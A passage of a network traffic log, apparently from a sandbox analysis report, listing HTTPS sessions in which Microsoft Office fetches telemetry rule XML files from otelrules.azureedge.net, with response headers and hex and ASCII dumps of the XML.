encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	63805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:11 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:11 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:11 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 97ac533f-101e-00a2-476c-2b9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061611Z-16ccfc49897xnlwfhC1DFWz50s00000001tg000000003x9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:11 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	63807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:11 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:11 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: d562200d-c01e-00ad-5011-2ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061611Z-176bd8f9bc55l2dfhC1DFWw03w00000001r0000000006w3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:11 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	63809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:11 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:11 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:11 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 134b8558-a01e-0098-752e-2c8556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061611Z-r159446fcd76z8lfhC1DFWug2s0000000130000000003ebb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:11 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	63808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:11 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:11 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: ecad0b54-201e-003c-592a-2c30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061611Z-176bd8f9bc5bc7vmhC1DFWbxbs0000000250000000002ggr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:11 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	63810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:11 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:11 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:11 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 8f98044c-301e-006e-14bd-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061611Z-16ccfc49897rxv9khC1DFWwn2800000001v00000000001zq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 06:16:11 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	63811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:11 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:11 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c6b31955-701e-0050-5210-2c6767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061611Z-176bd8f9bc5zzwfdhC1DFWqpb400000001pg000000008u4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:12 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	63812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:12 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:12 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:12 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 78d67a8a-601e-003e-5516-2b3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061612Z-16ccfc49897nrfsvhC1DFW8e0000000001v0000000004vgu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:12 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	63814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:12 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:12 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:12 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 6c1a7512-101e-00a2-6d08-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061612Z-16ccfc498974hjqwhC1DFW7uyn00000001ng000000004w0f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:12 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	63815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:12 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:12 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:12 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 39dcf0eb-f01e-0085-6308-2c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061612Z-16ccfc49897bsnckhC1DFW699w00000001mg00000000mmtb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:12 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	63816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:12 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:12 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: a8c950df-601e-003d-4012-2c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061612Z-176bd8f9bc56k8bfhC1DFWtzvn00000001sg000000008mwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:13 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	63817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:12 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:13 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:12 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: b98585e4-601e-0001-4608-2cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061612Z-16ccfc498979lfwnhC1DFW56w800000001r000000000emmc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:13 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	63818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:13 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:13 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:13 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 5d06e460-b01e-0084-1f08-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061613Z-16ccfc49897d4xzbhC1DFWg2yn00000001fg00000000chqn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
